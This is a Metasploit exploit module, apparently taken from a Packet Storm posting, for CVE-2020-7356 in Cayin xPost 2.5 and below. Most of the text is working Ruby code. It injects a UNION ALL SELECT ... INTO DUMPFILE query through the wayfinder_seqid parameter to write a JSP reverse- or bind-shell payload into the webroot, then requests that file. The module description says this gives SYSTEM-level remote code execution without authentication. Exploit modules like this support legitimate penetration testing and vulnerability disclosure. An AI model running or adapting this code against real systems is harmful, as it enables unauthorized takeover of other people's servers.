Cayin xPost 2.5 SQL Injection / Remote Code Execution

This Metasploit module exploits an unauthenticated remote SQL injection vulnerability in Cayin xPost versions 2.5 and below. The wayfinder_meeting_input.jsp file's wayfinder_seqid parameter can be injected blindly. Since this app bundles MySQL and Apache Tomcat the environment is pretty static and therefore the default settings should work. Results in SYSTEM level access. Only the java/jsp_shell_reverse_tcp and java/jsp_shell_bind_tcp payloads seem to be valid.

MD5 | 0bce693076ed6cfe035781e990db745d

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cayin xPost wayfinder_seqid SQLi to RCE',
        'Description' => %q{
          This module exploits an unauthenticated SQLi in Cayin xPost <=2.5.  The
          wayfinder_meeting_input.jsp file's wayfinder_seqid parameter can be injected
          with a blind SQLi.  Since this app bundles MySQL and apache Tomcat the
          environment is pretty static and therefore the default settings should
          work.  Results in SYSTEM level access.
          Only the java/jsp_shell_reverse_tcp and java/jsp_shell_bind_tcp payloads
          seem to be valid.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'h00die', # msf module
            'Gjoko Krstic (LiquidWorm) <[email protected]>' # original PoC, discovery
          ],
        'References' =>
          [
            [ 'EDB', '48558' ],
            [ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ],
            [ 'CVE', '2020-7356' ]
          ],
        'Platform' => ['java', 'win'],
        'Privileged' => true,
        'Arch' => ARCH_JAVA,
        'Targets' =>
          [
            [ 'Automatic Target', {}]
          ],
        'DisclosureDate' => 'Jun 4 2020',

        'DefaultOptions' =>
          {
            'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
          },
        'Payload' => # meterpreter is too large for payload space
          {
            'Space' => 2000,
            'DisableNops' => true
          },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'The URI of Cayin xPost', '/']),
        OptString.new('LOCALWEBROOT', [true, 'Local install path webroot', 'C:/CayinApps/webapps/' ]), # default location
        OptString.new('PAYLOADNAME', [false, 'Name of payload file to write', ''])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'cayin', 'js', 'English', 'language.js')
    )

    if res.nil? || res.code != 200
      return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
    end

    %r{// xPost v(?<version>[\d\.]+) } =~ res.body

    if version && Gem::Version.new(version) <= Gem::Version.new('2.5')
      print_good("Version Detected: #{version}")
      return CheckCode::Appears
    end

    # try a backup plan, at least verify the title
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'cayin', 'index.jsp')
    )

    if res.nil? || res.code != 200
      return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')

    end

    if res.body =~ %r{<title>xPost</title>}
      vprint_good('HTML Title includes xPost')
      return CheckCode::Detected
    end
    CheckCode::Safe
  rescue ::Rex::ConnectionError
    CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
  end

  def exploit
    filename = datastore['PAYLOADNAME'].blank? ? "#{rand_text_alphanumeric(6..12)}.jsp" : datastore['PAYLOADNAME']
    filename = "#{filename}.jsp" unless filename.end_with? '.jsp'

    vprint_status("Utilizing payload filename #{filename}")
    vprint_status("Payload Size: #{payload.encoded.length}")
    vprint_status("Payload Size Encoded: #{payload.encoded.unpack1('H*').length}")

    payload_request = "-251' UNION ALL SELECT 0x"
    payload_request << payload.encoded.unpack1('H*')
    payload_request << ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL '
    payload_request << "INTO DUMPFILE '#{datastore['LOCALWEBROOT']}#{filename}'-- -"
    payload_request.gsub!(' ', '%20')

    vprint_status('Attempting Exploitation')
    uri = normalize_uri(target_uri.path, 'cayin', 'wayfinder', 'wayfinder_meeting_input.jsp')
    # use raw to prevent encoding of injection characters
    res = send_request_raw(
      'uri' => "#{uri}?wayfinder_seqid=#{payload_request}"
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?

    if res.code == 400
      fail_with(Failure::UnexpectedReply, "#{peer} - Payload too large, utilize a smaller payload")
    end

    if res.code != 302
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response to injection")
    end

    register_file_for_cleanup("#{datastore['LOCALWEBROOT']}#{filename}")

    vprint_status('Triggering uploaded payload')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, filename)
    )
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end

Source: packetstormsecurity.com